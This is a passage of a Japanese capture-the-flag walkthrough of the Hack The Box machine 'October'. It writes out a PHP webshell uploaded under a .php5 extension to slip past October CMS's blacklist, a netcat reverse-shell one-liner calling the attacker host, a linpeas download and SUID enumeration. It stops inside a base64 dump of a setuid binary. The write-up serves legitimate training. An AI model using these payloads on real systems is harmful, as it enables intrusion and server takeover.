LoginSignup
2
0

More than 3 years have passed since last update.

【HackTheBox】October - Walkthrough -

Last updated at Posted at 2021-04-05

本稿では、Hack The Boxにて提供されている Retired Machines の「October」に関する攻略方法(Walkthrough)について検証します。

Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。

マシンの詳細

October.png

エグゼクティブサマリー

ツール

  • nmap
  • OWASP DirBuster
  • searchsploit
  • EDB-ID: 41936
  • PHP WebShell
  • SimpleHTTPServer
  • Linpeas
  • radare2
  • gdb-peda
  • pattern_create / pattern_offset
  • ldd
  • readelf

詳細手順

ネットワークサービススキャン

nmap

IPアドレス10.129.122.241october.htbとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 -A -v october.htb               
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-01 09:00 EDT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating Connect Scan at 09:00
Scanning october.htb (10.129.122.241) [1000 ports]
Discovered open port 80/tcp on 10.129.122.241
Discovered open port 22/tcp on 10.129.122.241
Completed Connect Scan at 09:01, 15.61s elapsed (1000 total ports)
Initiating Service scan at 09:01
Scanning 2 services on october.htb (10.129.122.241)
Completed Service scan at 09:01, 7.26s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.122.241.
Initiating NSE at 09:01
Completed NSE at 09:01, 8.18s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 1.30s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Nmap scan report for october.htb (10.129.122.241)
Host is up (0.25s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1D585CCF71E2EB73F03BCF484CFC2259
| http-methods: 
|   Supported Methods: GET HEAD POST PUT PATCH DELETE OPTIONS
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.16 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
22/tcp ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp http Apache httpd 2.4.7 ((Ubuntu))

http-titleより、October CMS - Vanillaが稼働していることが特定できました。

HTTPサービスのスキャン

Firefoxブラウザを使って80/tcpにアクセスしてみます。
october_cms.png

隠しディレクトリの探索

OWASP DirBusterを使用し、October CMSの隠しディレクトリを探索します。
dirbuster.png

backendディレクトリにアクセスします。
backend.png

http://october.htb/backend/backend/auth/signinページにたどり着きました。初期設定のアカウントadmin:adminの組み合わせを試します。
signin.png

ログインに成功しました。
cms.png

アクセス権の取得

October CMSが抱えている脆弱性について、searchsploitコマンドを使って検索します。7件の候補が見つかりました。

┌──(kali㉿kali)-[~]
└─$ searchsploit October                                                                  127 ⨯
-------------------------------------------------------------- ---------------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasp | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting                  | php/webapps/44144.txt
October CMS Build 465 - Arbitrary File Read Exploit (Authenti | php/webapps/49045.sh
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripti | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting         | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery   | php/webapps/43106.txt
-------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

PHP upload protection bypass

EDB-ID: 41936, October CMS 1.0.412 - Multiple Vulnerabilitiesの内容に注目します。
EDB-ID_41936.png

EDB-ID: 41936には、7件の脆弱性がリストされています。このうち、「PHP upload protection bypass」を突いた攻撃を検討します。
October CMSでは、ファイルの拡張子をブラックリスト(octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions()
)と照合してアップロードの可否を制御していると記載されています。
シェルのペイロードをアップロードするには、このブラックリストに掲載されておらず、プログラムとして実行できる拡張子をつける必要があります。
このドキュメントでは、その例として、php5が有効であると示されています。

Definitions.php
106 <?php
107 protected function blockedExtensions()
108 {
109         return [
110                 // redacted
111                 'php',
112                 'php3',
113                 'php4',
114                 'phtml',
115                 // redacted
116         ];
117 }

PHP WebShell

PHP製のWebSehllを用意します。ここで、ファイルアップロードフィルターを迂回(バイパス)するために、拡張子をphp5にする必要があります。

cmd.php5
<?php system($_REQUEST['cmd']); ?>

OctoberCMSにて[Media]タブに移動し、[Upload]ボタンがクリックします。作成したcmd.php5をアップロードします。
cmdphp5.png

ターミナルより設置したPHP WebShellの動作確認を行います。

┌──(kali㉿kali)-[~/october]
└─$ curl http://october.htb/storage/app/media/cmd.php5?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

リバースシェルの確立

リバースシェルを確立します。はじめに、攻撃端末(kali)側でncコマンドを使って待ち受けます。

kali.
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444

october.htb側にて、リバースシェルを立ち上げます。

┌──(kali㉿kali)-[~/october]
└─$ curl http://october.htb/storage/app/media/cmd.php5 --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f"

r_shell.png

シェルのアップグレード

操作性を高めるため、シェルをアップグレードします。

  1. Pythonのptyモジュールを使って、bashシェルを生成する python -c 'import pty;pty.spawn("bash")'
  2. Ctrl-Zを押してシェルをバックグラウンドに転送する
  3. sttyコマンドを使って、echoを無効 stty raw -echo
  4. バッググラウンドで動作していたnetcatをフォアグラウンドで再開するするように指定する
$ python -c 'import pty;pty.spawn("bash")'
www-data@october:/var/www/html/cms/storage/app/media$ ^Z
zsh: suspended  nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg                                                                 148 ⨯ 1 ⚙
[1]  + continued  nc -nlvp 4444
                               export SHELL=bash
<tml/cms/storage/app/media$ export TERM=xterm-256color

システム探索

userフラグの取得

/home/harryディレクトリへ移動します。user.txtファイルが確認できます。

www-data@october:/var/www/html/cms/storage/app/media$ cd /home
www-data@october:/home$ ls
harry
www-data@october:/home$ cd harry
www-data@october:/home/harry$ ls
october-1.0.412.tar.gz  user.txt

flag.txtフラグを取得します。

www-data@october:/home/harry$ cat user.txt 
2916{BLOCKED}89c0

特権エスカレーション

Linpeas」ツールを使ってシステム探索を行います。
攻撃端末(kali)側でSimpleHTTPServerを立ち上げ、ツールをダウンロードできるようにします。

kali.
┌──(kali㉿kali)-[~/OffsecVM/bin/lin]
└─$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.129.46.120 - - [04/Apr/2021 21:30:34] "GET /linpeas.sh HTTP/1.1" 200 -

october.htb側でlinpeas.shツールをダウンロードします。

october.htb
www-data@october:/tmp$ wget http://10.10.14.101:8080/linpeas.sh
--2021-04-05 04:30:33--  http://10.10.14.101:8080/linpeas.sh
Connecting to 10.10.14.101:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 233665 (228K) [text/x-sh]
Saving to: 'linpeas.sh'

100%[======================================>] 233,665     92.8KB/s   in 2.5s   

2021-04-05 04:30:36 (92.8 KB/s) - 'linpeas.sh' saved [233665/233665]

linpeas.shに実行権限を与え、実行します。

www-data@october:/tmp$ chmod +x linpeas.sh 
www-data@october:/tmp$ ./linpeas.sh

linpeas.shの実行レポートにおける、Interesting Files項目に注目します。

linpeas.png

SUIDとSGIDファイルの探索

findコマンドを実行し、システム上のSUIDSGIDファイルの探索を行うことも有効です。

ここで、コマンド構文はSUID (4000)SGID (2000)のどちらかの値にマッチする条件を指定するために、次のように記述することができます。
/6000は、40002000のどちらかの値を探すという意味です。

www-data@october:/tmp$ find / -type f -perm /6000 -ls 2>/dev/null
267491   68 -rwsr-xr-x   1 root     root        67704 Nov 24  2016 /bin/umount
262216   40 -rwsr-xr-x   1 root     root        38932 May  8  2014 /bin/ping
266648   32 -rwsr-xr-x   1 root     root        30112 May 15  2015 /bin/fusermount
262222   36 -rwsr-xr-x   1 root     root        35300 May 17  2017 /bin/su
262217   44 -rwsr-xr-x   1 root     root        43316 May  8  2014 /bin/ping6
267489   88 -rwsr-xr-x   1 root     root        88752 Nov 24  2016 /bin/mount
928759    8 -rwsr-xr-x   1 root     root         5480 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
1053687  484 -rwsr-xr-x   1 root     root       492972 Aug 11  2016 /usr/lib/openssh/ssh-keysign
931266   12 -rwsr-xr-x   1 root     root         9808 Nov 24  2015 /usr/lib/policykit-1/polkit-agent-helper-1
395450  328 -rwsr-xr--   1 root     messagebus   333952 Dec  7  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
917752   12 -rwxr-sr-x   3 root     mail         9704 Dec  4  2012 /usr/bin/mail-unlock
917774  156 -rwsr-xr-x   1 root     root       156708 Oct 14  2016 /usr/bin/sudo
928810  324 -rwxr-sr-x   1 root     ssh        329144 Aug 11  2016 /usr/bin/ssh-agent
917752   12 -rwxr-sr-x   3 root     mail         9704 Dec  4  2012 /usr/bin/mail-touchlock
930676   36 -rwxr-sr-x   1 root     mlocate     34452 Jun 20  2013 /usr/bin/mlocate
930957  400 -rwxr-sr-x   1 root     utmp       406700 Nov  7  2013 /usr/bin/screen
922948   32 -rwsr-xr-x   1 root     root        30984 May 17  2017 /usr/bin/newgrp
931257   20 -rwsr-xr-x   1 root     root        18168 Nov 24  2015 /usr/bin/pkexec
922277   48 -rwsr-xr-x   1 root     root        45420 May 17  2017 /usr/bin/passwd
922274   44 -rwsr-xr-x   1 root     root        44620 May 17  2017 /usr/bin/chfn
917752   12 -rwxr-sr-x   3 root     mail         9704 Dec  4  2012 /usr/bin/mail-lock
930329   12 -rwxr-sr-x   1 root     tty          9748 Jun  4  2013 /usr/bin/bsd-write
921702   68 -rwsr-xr-x   1 root     root        66284 May 17  2017 /usr/bin/gpasswd
930650   20 -rwsr-xr-x   1 root     root        18136 May  8  2014 /usr/bin/traceroute6.iputils
930677   72 -rwsr-xr-x   1 root     root        72860 Oct 21  2013 /usr/bin/mtr
921701   36 -rwsr-xr-x   1 root     root        35916 May 17  2017 /usr/bin/chsh
921700   20 -rwxr-sr-x   1 root     shadow      18208 May 17  2017 /usr/bin/expiry
917608   20 -rwxr-sr-x   1 root     tty         18056 Nov 24  2016 /usr/bin/wall
917640   36 -rwxr-sr-x   1 root     crontab     34824 Feb  9  2013 /usr/bin/crontab
930939   48 -rwsr-sr-x   1 daemon   daemon      46652 Oct 21  2013 /usr/bin/at
917662   16 -rwxr-sr-x   1 root     mail        13960 Dec  7  2013 /usr/bin/dotlockfile
921399   56 -rwxr-sr-x   1 root     shadow      53516 May 17  2017 /usr/bin/chage
930733  316 -rwsr-xr--   1 root     dip        323000 Apr 21  2015 /usr/sbin/pppd
928820   20 -rwsr-sr-x   1 libuuid  libuuid     17996 Nov 24  2016 /usr/sbin/uuidd
664031    8 -rwsr-xr-x   1 root     root         7377 Apr 21  2017 /usr/local/bin/ovrflw
262377   32 -rwxr-sr-x   1 root     shadow      30432 Mar 16  2016 /sbin/unix_chkpwd

linpeas.shまたはfindコマンドによってovrflwというプログラムを見つけました。

$ ls -al /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw
www-data@october:/tmp$ /usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>

ovrflw プログラムの解析

ファイルの転送

ovrflwプログラムを攻撃端末(kali)側に転送します。ここでは、BASE64にエンコードして転送を行います。

www-data@october:/usr/local/bin$ cat ovrflw | base64 -w0

攻撃端末(kali)側にてデコードします。

kali.
┌──(kali㉿kali)-[~/october]
└─$ echo "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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